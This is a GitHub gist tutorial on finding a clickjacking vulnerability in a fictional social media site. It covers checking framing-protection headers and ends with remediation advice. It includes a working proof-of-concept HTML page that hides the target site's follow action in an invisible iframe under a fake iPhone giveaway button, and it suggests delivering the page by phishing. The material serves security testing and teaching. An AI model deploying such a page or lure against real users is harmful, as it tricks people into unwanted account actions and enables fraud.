Skip to content

Instantly share code, notes, and snippets.

@aw-junaid
Created November 23, 2025 13:25
Show Gist options
  • Select an option

  • Save aw-junaid/a201a4d735416a09c60d4a9af3958882 to your computer and use it in GitHub Desktop.

Select an option

Save aw-junaid/a201a4d735416a09c60d4a9af3958882 to your computer and use it in GitHub Desktop.
Clickjacking is a malicious technique where a user is tricked into clicking something different from what they believe they are clicking. This is achieved by layering a transparent or invisible website element over a decoy page, which causes the user's click to perform an unintended action on the hidden, malicious site. Examples of this action i…

Finding a Clickjacking Vulnerability

Let's imagine our target is a social media site: https://socialapp.example.com.

Step 1: Spot State-Changing Actions

You browse the application and look for actions that change the state of your account or data and only require a single click (no text input, drag-and-drop, etc.).

Prime candidates on socialapp.example.com:

  • Profile Actions:
    • https://socialapp.example.com/profile/follow (Button to follow a user)
    • https://socialapp.example.com/profile/unfollow (Button to unfollow a user)
    • https://socialapp.example.com/profile/block (Button to block a user)
  • Post Actions:
    • https://socialapp.example.com/post/like (POST request when liking a post)
    • https://socialapp.example.com/post/delete (Button to delete your own post)
  • Account Settings:
    • https://socialapp.example.com/settings/deactivate (Button to deactivate account)
    • https://socialapp.example.com/email/change (Form with a "Save Changes" button)

Best Target for Demo: The like or follow functionality. It's low-risk for testing but proves the vulnerability exists.


Step 2: Check for Protective Headers

You need to check if the page containing the action button can be loaded inside an iframe. Open your browser's Developer Tools (F12) and inspect the network traffic when loading one of your target pages, like https://socialapp.example.com/profile/follow.

Look for these protective headers in the Response Headers:

  • X-Frame-Options: This is the classic defense.

    • X-Frame-Options: DENYProtected. Cannot be framed at all.
    • X-Frame-Options: SAMEORIGINProtected. Can only be framed by pages on the same domain.
    • If this header is missing or has an ALLOW-FROM value (deprecated and poorly supported), it might be vulnerable.
  • Content-Security-Policy (CSP): The modern defense.

    • Content-Security-Policy: frame-ancestors 'none'Protected. Equivalent to DENY.
    • Content-Security-Policy: frame-ancestors 'self'Protected. Equivalent to SAMEORIGIN.
    • Content-Security-Policy: frame-ancestors https://trusted.comProtected (unless you own trusted.com).
    • If the frame-ancestors directive is missing entirely, or is set to *, the site is vulnerable.
  • Session Cookie SameSite Attribute:

    • Check the Set-Cookie header for your session cookie.
    • SameSite=Lax or SameSite=StrictPartially Protected. The cookie won't be sent in a cross-site POST request triggered by an iframe, which breaks many state-changing actions.
    • SameSite=None or the attribute is absent → Vulnerable. The cookie will be sent with the request from the iframe.

Result for our example: Let's say the page https://socialapp.example.com/profile/follow has no X-Frame-Options header, no frame-ancestors directive in its CSP, and the session cookie is set without a SameSite attribute. This means it's a prime candidate for clickjacking!


Step 3: Craft a Proof-of-Concept Page

Create a simple HTML file on your local machine. This file will act as the malicious attacker page.

clickjack-test.html

<!DOCTYPE html>
<html>
<head>
    <title>Win a Free iPhone!</title>
    <style>
        /* The iframe is made transparent and positioned over the button */
        iframe {
            position: absolute;
            top: 100px;
            left: 100px;
            width: 400px;
            height: 400px;
            opacity: 0.5; /* Start semi-transparent for testing */
            z-index: 2;
        }
        /* A fake button placed UNDER the iframe */
        #fakeButton {
            position: absolute;
            top: 250px;
            left: 150px;
            width: 100px;
            height: 50px;
            z-index: 1;
            background-color: green;
            color: white;
            text-align: center;
            line-height: 50px;
            cursor: pointer;
        }
    </style>
</head>
<body>
    <h1>Congratulations! You've Won!</h1>
    <p>Click the GREEN button below to claim your FREE iPhone!</p>

    <!-- This is the fake, enticing button -->
    <div id="fakeButton">CLAIM NOW!</div>

    <!-- This iframe loads the target action page -->
    <iframe src="https://socialapp.example.com/profile/follow?targetUserId=attacker123"></iframe>

</body>
</html>
  1. Open this file in your browser.
  2. You should see the target page (/profile/follow) loaded inside the iframe, layered over the green "CLAIM NOW!" button.
  3. Test the framing: If you can see the content of socialapp.example.com inside the iframe, the framing was successful! The site is vulnerable.
  4. Now, set the iframe's opacity: 0.0; to make it completely invisible.

Step 4: Confirm the Vulnerability

  1. Log into socialapp.example.com in your browser.
  2. Open your clickjack-test.html file in the same browser (the session cookies will be sent with the iframe request).
  3. Click on the green "CLAIM NOW!" button.
  4. Since the invisible iframe is positioned exactly over the button, you are actually clicking the "Follow" button inside the iframe.
  5. Verification: Navigate to your "Following" list on socialapp.example.com. You should now be following the user attacker123. The attack was successful!

Step 5: Craft a Sneaky Delivery & Consider Impact

  • Delivery: An attacker wouldn't use a local file. They would:

    • Host the malicious HTML on a server they control at a URL like https://free-iphone-giveaway.com.
    • Send phishing emails or social media messages linking to this page.
    • The page would be styled to look like a legitimate giveaway or a required security check.
  • Larger Impact:

    • For our example: An attacker could mass-generate followers, automatically block a user's friends, or silently like/dislike posts to manipulate algorithms.
    • For more critical actions: Imagine the target was https://socialapp.example.com/settings/deactivate or https://bank.example.com/transfer?amount=1000&to=attacker. The impact escalates to account takeover, financial loss, or complete reputation damage.

Impact: An attacker can craft a malicious webpage that tricks a logged-in user into performing actions on socialapp.example.com without their knowledge or consent. This could be used to:

  • Force users to follow malicious accounts.
  • Force users to block their own friends.
  • Like/Dislike posts to manipulate content visibility.
  • If critical pages like account deletion are also vulnerable, it could lead to account takeover.

Remediation: Implement the Content-Security-Policy header with a restrictive frame-ancestors directive on all pages, especially those that perform state-changing actions.

  • Recommended: Content-Security-Policy: frame-ancestors 'none';
  • If framing by the same origin is needed for some features: Content-Security-Policy: frame-ancestors 'self';
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment